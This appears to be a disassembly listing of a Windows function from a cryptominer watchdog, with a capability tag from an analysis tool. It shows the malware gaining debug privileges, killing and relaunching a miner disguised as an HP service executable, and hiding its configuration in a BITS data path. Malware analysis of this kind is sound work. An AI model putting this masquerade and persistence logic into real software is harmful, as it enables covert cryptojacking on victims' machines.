Function at 0x140001b88
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x20
call fcn.140001000
mov dl, byte [0x14001284c]
lea rcx, str.MonitorApplication.exe
call fcn.140001084
xor ebp, ebp
cmp al, bpl
jne 0x140001bdc
cmp byte [0x14001284c], bpl
je 0x140001e79
lea rcx, str.Get_Application_Data_Failure_n
call fcn.14000268c
jmp 0x140001e79
call fcn.140001260
cmp al, bpl
jne 0x140001bfc
cmp byte [0x14001284c], bpl
je 0x140001e79
lea rcx, str.Load_API_Failure_n
jmp 0x140001bd2
call fcn.1400011f4
cmp al, bpl
jne 0x140001c25
cmp byte [0x14001284c], bpl
je 0x140001c1b
lea rcx, str.Load_NT_API_Failure_n
call fcn.14000268c
call fcn.140001348
jmp 0x140001e79
mov r15d, 1
lea rcx, str.SeDebugPrivilege
mov dl, r15b
call fcn.1400018b4
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov r11, rax
mov qword [0x140012860], rax
cmp rax, rbp
jne 0x140001c76
cmp byte [0x14001284c], bpl
je 0x140001c6f
lea rcx, str.Fail_To_Create_Event_n
call fcn.14000268c
call fcn.14000123c
jmp 0x140001c1b
mov ecx, dword [0x14000f1a4]
mov eax, dword [0x14000f1a8]
xor edx, edx
div ecx
mov esi, ecx
mov dword [rsp + 0x40], ebp
imul esi, esi, 0x3e8
cmp eax, ebp
mov edi, eax
mov ebx, ebp
cmove edi, r15d
cmp byte [0x14001284c], bpl
je 0x140001cba
lea rcx, str.Max_Limit_Check___d_n
mov edx, edi
call fcn.14000268c
mov r11, qword [0x140012860]
mov edx, esi
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, ebp
je 0x140001e5d
lea r12, str.C:Program_FilesCommon_FilesHPCissesrvcissesrv.exe__x_C:WindowsInfBITS0409_bitsctrs.dat
mov dword [rsp + 0x40], ebp
call fcn.14000105c
mov r8b, byte [0x14001284c]
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.14000179c
cmp al, bpl
je 0x140001d57
add ebx, r15d
cmp byte [0x14001284c], bpl
je 0x140001d10
lea rcx, str._d_Detects_n
mov edx, ebx
call fcn.14000268c
mov r8d, dword [rsp + 0x40]
cmp r8d, ebp
jbe 0x140001db5
mov ecx, r8d
call fcn.14000197c
cmp al, bpl
je 0x140001d41
cmp byte [0x14001284c], bpl
je 0x140001dd7
lea rcx, str.Kill__s_Successfully_n
jmp 0x140001dad
cmp byte [0x14001284c], bpl
je 0x140001dd7
lea rcx, str.Fail_To_Kill__s_n
jmp 0x140001dad
mov ebx, ebp
cmp dword [rsp + 0x40], ebp
jne 0x140001db5
call fcn.140001770
cmp al, bpl
jne 0x140001db5
cmp byte [0x14001284c], bpl
je 0x140001d7e
lea rcx, str.Miner_Isnt_Up_Yet_n
call fcn.14000268c
mov rcx, r12
call fcn.140001ad0
cmp al, bpl
je 0x140001d9d
cmp byte [0x14001284c], bpl
je 0x140001dd7
lea rcx, str.Execute__s_Successfully_n
jmp 0x140001dad
cmp byte [0x14001284c], bpl
je 0x140001dd7
lea rcx, str.Fail_To_Execute__s_n
mov rdx, r12
call fcn.14000268c
cmp byte [0x14001284c], bpl
je 0x140001dd7
mov r8d, dword [rsp + 0x40]
cmp r8d, ebp
jbe 0x140001dd7
lea rcx, str._s_Found_Pid___d_n
mov rdx, r12
call fcn.14000268c
cmp ebx, edi
jb 0x140001e46
cmp byte [0x14001284c], bpl
je 0x140001df0
lea rcx, str.Exceed_Limit_n
call fcn.14000268c
call fcn.140001770
cmp al, bpl
je 0x140001e46
mov cl, byte [0x14001284c]
call fcn.1400019dc
mov rcx, r12
call fcn.140001ad0
cmp al, bpl
je 0x140001e2e
cmp byte [0x14001284c], bpl
je 0x140001e2a
lea rcx, str.Execute__s_Successfully_n
mov rdx, r12
call fcn.14000268c
mov ebx, ebp
jmp 0x140001e46
cmp byte [0x14001284c], bpl
je 0x140001e46
lea rcx, str.Fail_To_Execute__s_n
mov rdx, r12
call fcn.14000268c
mov rcx, qword [0x140012860]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, ebp
jne 0x140001cd4
call fcn.14000123c
call fcn.140001348
mov rcx, qword [0x140012860]
cmp rcx, rbp
je 0x140001e79
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r12
pop rdi
ret